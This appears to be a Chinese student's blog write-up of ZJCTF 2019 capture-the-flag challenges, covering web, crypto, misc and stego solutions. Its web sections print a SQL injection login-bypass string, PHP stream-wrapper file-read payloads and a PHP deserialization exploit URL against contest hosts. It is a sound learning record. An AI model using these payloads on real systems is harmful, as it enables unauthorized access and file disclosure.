Notes of Laurel | 大雨将至

ZJCTF2019

Word count: 3.4kReading time: 15 min
2019/09/25 Share

本来无一物,何处惹尘埃。


线上

这次的线上赛,体验比去年好一点,发挥要比去年好一点,感觉题目难度变大了一点。

flag是交括号里面的flag是交括号里面的flag是交括号里面的


欢迎参加

1568289964870

查看SourceCode

1
<head><meta charset=utf-8></head><h1>Please log in as an admin!!!</h1><!-- something was encrypted by a non-reversible encryption algorithm. -->

通过non-reversible encryption,首先想到了Hash。用md5计算之后得到21232f297a57a5a743894a0e4a801fc3

Cookie中的SESSION值改为计算出的值 - -

1568293833543

提交后看到返回的结果中多了一个php文件路径1ocation - -

1568293752338

访问即可得到flagzjctf{we1c0meT_0zJ_Ctfzo1g}


白黑分明

玩一下游戏,可以看到有4个(输了之后是5个)文件:

1568274998055

大致都看了一下,其他四个都没啥问题,主要是game.js里面有tell u the flaggame.js内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
(function () {
var speed = 7; // 琴键向下移动的速度
var rowNum = 0 ; // 屏幕最多可显示的行数
var panioKey = null ; // 所有琴键的集合(黑+白)
var clickKeys = []; // 保存被点击的key
var blackKey = [];
var score = 0 ;
var timeId = null ;

/**
* 初始化游戏界面
*/
init = function () {
clear();
rowNum = Math.ceil($("#container").height() / 80) ;
for(var i = 0 ; i < rowNum * 4 * 2 ; i++) {
var $span = $("<span index="+i+"></span>");
$span.data(i.toString() , new PanioKey(i));
$("#grid").append($span);
}
$("#container").scrollTop( $("#grid").height() - $("#container").height() - 1);
panioKey = $("#container #grid span");
}


/**
* 琴键被点击的回调
*/
addClickEvent = function () {
$("#container #grid span").click(function () {
// 当前游戏正在进行中才可以点击
if(!timeId) {
return false;
}
var index = $(this).attr("index") ;
var p = $(this).data(index.toString()) ;
if(!p.isBlackKey) {
gameOver();
return false;
}
var score = parseInt($("#score").text());
$("#score").text(score + 1) ;
setPanioState(index , p.isBlackKey , true);
clickKeys.push(index.toString());
})
}

/**
* 琴键向下滚动
*/
scroll = function () {
if($("#container").scrollTop() <= rowNum * 80 - $("#container").height() + rowNum ) {
$("#container").scrollTop( $("#grid").height() - $("#container").height() - 1);
score = 0 ;
onReset();
} else {
$("#container").scrollTop($("#container").scrollTop() - 1);
if( $("#container").scrollTop() % 80 == 0) {
onEnter($("#container").scrollTop() / 80 - 1);
}
score ++ ;
if(score % 80 == 0) {
onLeave(rowNum * 2 - score / 80);
}
}
}

/**
* 琴键第一次进入屏幕时回调
* 在当前这一行,随机产生一个黑色琴键
*/
onEnter = function onEnter (rowIndex) {
var random = parseInt(Math.random()*4);
var index = (rowIndex * 4) + random ;
$(panioKey[index]).css("backgroundColor","#000");
setPanioState(index , true , false);
blackKey.push(index);
}
/**
* 琴键移出屏幕时回调
*/
onLeave = function onLeave (rowIndex) {
var startIndex = ( rowIndex * 4);
var leaveArray = [startIndex , startIndex + 1, startIndex + 2, startIndex + 3];
leaveArray.some(function (value) {
var index = blackKey.indexOf(value) ;
if(index != -1) {

// 移除被点击的key下标
var pos = clickKeys.indexOf(value.toString());
if(pos != -1 ) clickKeys.splice(pos , 1);
else gameOver();

// 设置琴键为初始状态,并从blackKey集合中移除
blackKey.splice(index , 1);
$(panioKey[value]).css("backgroundColor","#fff");
setPanioState(value , false , false);

}
return index != -1 ;
})
}

/**
* 清除游戏数据
*/
clear = function clear () {
$("#grid").html("");
$("#score").text("0");
panioKey = null ;
score = 0 ;
blackKey = [] ;
clickKeys = [] ;
}

/**
* 开始游戏
*/
startGame = function() {
$("#btn").attr("disabled", true);
init();
addClickEvent();
timeId = setInterval( scroll , speed);
}
/**
* 游戏结束
*/
gameOver = function () {
clearInterval(timeId);
timeId = null ;
alert("游戏结束,您的分数还不够哦!^_^");
console.log(score);
$.ajax({
type: 'HEAD',
url : window.location.href,
success: function(data, status, xhr){
view(score, xhr.getResponseHeader('token'))
}
});
$("#btn").attr("disabled", false);
}

/**
* 重新设置的回调
* 清除屏幕以外的所有的钢琴键的颜色,以及被点击过的标记
* 设置屏幕内的钢琴键的颜色,以及设置被点击的琴键,以及没有被点击的琴键
*/
onReset = function () {
var temp = [] ;
blackKey = blackKey.map(function (value) {
// 重置屏幕以外的琴键状态
$(panioKey[value]).css("backgroundColor","#fff");
setPanioState(value , false , false);
// 设置屏幕内对应琴键的状态
var index = value + rowNum * 4;
$(panioKey[index]).css("backgroundColor","#000");
var pos = clickKeys.indexOf(value.toString());
if(pos != -1) temp.push(index.toString());
setPanioState(index , true , pos != -1);
return index ;
})
clickKeys = temp ;
}

/**
* 设置琴键的状态
*/
setPanioState = function (index , isBlackKey , isClick) {
var p = $(panioKey[index]).data(index.toString()) ;
p.isBlackKey = isBlackKey;
p.isClick = isClick;

var text = isClick ? "ok" : "" ;
$(panioKey[index]).text(text);
}

/**
* 琴键对象
*/
PanioKey = function (index) {
this.index = index ; // 当前处于集合中的下标
this.isClick = false ; // 是否被点击过
this.isBlackKey = false ; // 是否是黑色琴键
}

view = function (score, token) {
// Too young to simple
if (score < 600000) {
return "hello kitty";
}
// Quickly tell me, I`m thirsty to death.
var http = new XMLHttpRequest();
var url = "/game/push";
var params = "token=" + token;
http.open("post", url, true);
// Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
// Tell u the f-l-a-g...
}
}
http.send(params);
return "hello world";
}

window.onload = startGame;
})()

在最后可以看到拿到flag的条件:

1
2
3
url:http://sec.hdu.edu.cn:7100/game/push
params:token=blabla
请求方式:post

于是,直接访问http://sec.hdu.edu.cn:7100/game/push

然后POSTBase64解密后的token即可:

1568275596253

得到flag为:ZJCTF{th3_th3_0th3r_9iv3}

1568275622805

这道题,想骂一下自己,是我傻了,拿到了flag以为是假flag,几十分钟之后才发现是真flag,可以。👍


非黑即白

哟西这道题是小花姐做滴,密码题我看都不看

Fesitel结构,把16轮密钥反一下。

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from hashlib import sha256
def xor(a,b):
result = []
for (i, j) in zip(a, b):
result.append(chr(ord(i) ^ ord(j)))
return "".join(result)
def HASH(msg):
return sha256(msg).digest()[:8]
def zjctf_encrypt(gen_keys, hahahah):
i = 0
d1 = hahahah[:8]
d2 = hahahah[8:]
d1, d2 = d2, d1
for i in gen_keys:
d2= xor(xor(HASH(d1),d2),i)
d1, d2 = d2, d1
return d1+d2
def gen_keymap(key):
maps = []
_ = key
for i in xrange(16):
_ = HASH(_)
maps.append(_)

maps.reverse()

return maps
def encrypt(key, data):
keys = gen_keymap(key)
return zjctf_encrypt(keys, data)


key="zzzzzjctffffffff"
result = '3b70337736eaf0ec9bab6dadb09acc35'
result=result.decode('hex')

print encrypt(key, result)

flag:

1
adjust3d_und3r_i

未初始化

哟西这道题是队友做滴

www.fjt1.com


中国菜刀

二维码很好找。

方法一:追踪一下TCP流,在8号流里面能看到有很多的文件 - -

1568295681410

再往下翻,看到了熟悉的文件头 - -

1568295738743

直接复制然后粘贴到Winhex里面形成PNG就是二维码。

方法二:Export Objects HTTP:

1568296289617

fffffffffffffffffff.zip文件名很别致,导出来就会发现是一张二维码图片。图片是这个样子 - -

fffffffffffffffffff

虽然二维码早就拿到了,但是苦于不知道如何修复。刚开始试着手动修,然后发现对不起是我太天真了。
甚至开始怀疑可能还藏了其他东西,于是开始分析导出的其他文件。
后面这道题疯狂放提示,去看什么二维码协议。到最后4点过了感觉稳了,wp也交了,结果这道题还在放提示,,,反正也没事,就还是再做一下下叭,然后就赶着末班车交了flag。

二维码一般由三部分组成:

1
2
3
Function pattern:功能模式
Format&Version Information Pattern:格式和版本信息模式
Data Bits:数据位

具体参照下图 - -

img

Function pattern二维码中基本都有,除了部分Timeing和左下角方块的没有。方块补上去就🆗了,Timing先不管。

Data Bits才是二维码中编码的实际数据。但是如果真的是要修补完全部的数据位那我直接吐血叭…

所以就只剩下了Format&Version Information Pattern

它由Format error correctionMask patternError correction level三部分构成,

其中EC Level有LMQH四种,在修补的时候需要挨个尝试一下levelMask pattern看看哪个是匹配的。

最后比赛的时候没有想那么多,去搜了一下二维码修复的软件:Google : QR code repair tool

然后就找到一个:https://merricx.github.io/qrazybox/

这个网站不能导入缺失了太多的Function pattern的图像,会显示Couldn't find enough finder patterns。所以需要手动将二维码左下角补一个方块然后再导入 - -

1568297744236

接下来需要修补左下角的Format information pattern,逐个尝试看看是否匹配。成功匹配的模式是:

1
2
Error Correction Level:M
Mask Pattern:1

设置好后如下 - -

1568298224955

这时候Extract QR Information就能拿到flag了。

1
zjctf{y0u_f1nd_me_1n_qrc0d3}

唉,感觉自己傻了很多次,再接再厉叭~


线下

比去年表现好一点,但是不太满意自己的表现,需要学习的东西还有很多。再一次被自己菜哭。不过,见到了老盆友们还是很开森呐~~


万能密码

刚开始窝和小花姐试的是单引号的,没想到改成双引号就行了,现场自闭。

1
2
3
" or"a"="a

zjctf{Un1v3rsAl_pAs5w0rd_Usef^L}

逆转思维

听说是Bugku的原题?听说去年好几道都是Bugku的原题?听说明年在我们学校?猜猜我们去哪个OJ找原题?

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

text参数的内容应该指向welcome to the zjctf,所以可以构造text=php://input,然后POST上面那串字符串就能过第一个判断。

或者用text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=也可以。

然后注意到file后面提示是useless.php

当时看这意思翻译过来是没用的php文件,所以就没在意了,,,后来才发现不对,,哦好像是要读这个PHP文件的嗷。。dbq是我傻了。。。

直接构造伪协议读取:

1
text=php://input&file=php://filter/convert.base64-encode/resource=useless.php

将返回的内容b64解码一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("HAHAHAHAHA");
}
}
}
?>

据此,需要使password参数获取Flag类中的file变量,可以构造一个反序列化:

1
2
3
4
5
6
$password=new Flag();
$password->file='flag.php';
$password=serialize($password);
echo $password;

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload:

1
2
3
4
5
6
7
http://172.16.0.102:54321/JgJUfyW1wT?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

or

http://172.16.0.102:54321/JgJUfyW1wT?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

zjctf{Un5er1All2e_D3ver5e_Mln0}

贰零肆捌

代码看得我自闭了…

game_manager.js里面,将score改成15000 - -

1569042566334

然后发现并没有什么反应,然后随便玩,玩到Game Over的时候,会发现多了好多个index,里面就有flag - -

1569042519669

ZJCTF{t0_p0is0n3d_by_i}


清廉校园

后面放出来的附加题,秒出的misc题目,不知道是哪位大兄dei放的,实在是太感动了❤❤❤

图片末尾有一串凯撒加密过的密文:gqjam{dlsjvtlavokbzljshi}

解密一下:zjctf{welcometohduseclab}


以上是线下咱们做粗来的题目,赛后和兄dei萌交流了一下,感觉遗憾贼多…

下面两道是赛后做的,,都怪窝,,本来还能出一道的,,哭了


反推蟒蛇

2017强网杯原题,披着ZJCTF的外衣,,但是我忘了咋做的了,,都怪窝,,

给了encrypt.pyoflag.enc两个文件,直接使用uncompyle6反编译encrypt.pyo文件:

1
uncompyle6 encrypt.pyo > encrypt.py

encrypt.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# uncompyle6 version 3.4.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16+ (default, Sep 4 2019, 08:19:57)
# [GCC 9.2.1 20190827]
# Embedded file name: encrypt.py
# Compiled at: 2017-07-11 05:19:27
from random import randint
from math import floor, sqrt
_ = ''
__ = '_'
____ = [ ord(___) for ___ in __ ]
_____ = randint(65, max(____)) * 255
for ___ in range(len(__)):
_ += str(int(floor(float(_____ + ____[___]) / 2 + sqrt(_____ * ____[___])) % 255)) + ' '

print _
# okay decompiling encrypt.pyo

代码的意思是,获取__的ascii码值,然后在65和ascii码值之间取随机数再乘以255,然后循环计算。输出为flag.enc里面的内容,所以反推flag。

遍历65~127,计算出字符加密后的结果,然后和flag.enc中的字符串进行匹配。

solution.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from random import randint
from math import floor, sqrt


num = [i for i in range(65,127)]
encry=[57, 183, 124, 9, 149, 65, 245, 166, 175, 1, 226, 106, 216, 132, 224, 208, 139, 1, 188, 224, 9, 235, 106, 149, 141, 80]
for j in range(65*255,127*255,255):
dic={}
for i in range(len(num)):
inte = int(floor(float(j + num[i]) / 2 + sqrt(j * num[i])) % 255)
dic[inte] = chr(num[i])
try:
flag=''.join([dic[i] for i in encry])
print flag
except:
pass

zjctf{ThisRandomIsNotSafe}


加载页面

给了一张loading.png - -

loading

binwalk看了一下,藏了一个压缩包;

导出来解压叭,发现有密码;

爆破叭,纯数字纯字母数字加字母再加特殊符号,跑不出来,看来爆破是行不通的;

看一下标志位叭,可能是伪加密,嗯发现改了标志位也不行,看来伪加密是行不通的;

嗯赛后文静哥说应该是压缩率的问题,需要改,啊听起来太难了,什么鬼题;

嗯去找小林子玩耍,嗷她说loading上面是个条形码,

瓦特?什么条形码?窝怎么没看到?

你没看到吗?就在loading60%上面啊,那么明显的!

啊???(黑人问号

刚才开个电脑再看了一下,依然不觉得像是条形码,,

如果再来一次,我还是看不粗来那是个条形码,,

好叭,扫出来的结果是may6e_us3ful,嗯这就是压缩包的密码…解压出来是这套算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import numpy as np
from scipy.misc import imread, imsave

img_name = "loading.png"
words = '''ZJCTF{****************}'''

bits = []
for w in words:
bits += "{:0>8d}".format(int(bin(ord(w))[2:]))

cnt = 0
img = imread(img_name)
for x in range(img.shape[1]):
for y in range(img.shape[0]):
if img[y][x][0] <= 97:
img[y][x][0] = 2
if cnt == len(bits):
continue
if int(bits[cnt]) == 0:
img[y][x][0] = 2
else:
img[y][x][0] = 3
cnt += 1
imsave("loading.png", img)

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import numpy
from imageio import imread
file_name = 'loading.png'
img = imread(file_name)
cnt = 0
flag = []
temp = []
for x in range(img.shape[1]):
for y in range(img.shape[0]):
if(img[y][x][0] <= 97):
if(cnt == 184):
continue
if(img[y][x][0] == 2):
flag.append(0)
elif(img[y][x][0] == 3):
flag.append(1)
cnt += 1
for i in range(0,len(flag),8):
temp = flag[i:i+8]
a = ''
for j in range(len(temp)):
a += str(temp[j])
a = int(a,2)
print(chr(a),end = '')

ZJCTF{st3gan0_1s_ea5y}

杭电的师傅实在是…太猛了…❤

🐂🍺

CATALOG
  1. 1. 线上
    1. 1.1. 欢迎参加
    2. 1.2. 白黑分明
    3. 1.3. 非黑即白
    4. 1.4. 未初始化
    5. 1.5. 中国菜刀
  2. 2. 线下
    1. 2.1. 万能密码
    2. 2.2. 逆转思维
    3. 2.3. 贰零肆捌
    4. 2.4. 清廉校园
    5. 2.5. 反推蟒蛇
    6. 2.6. 加载页面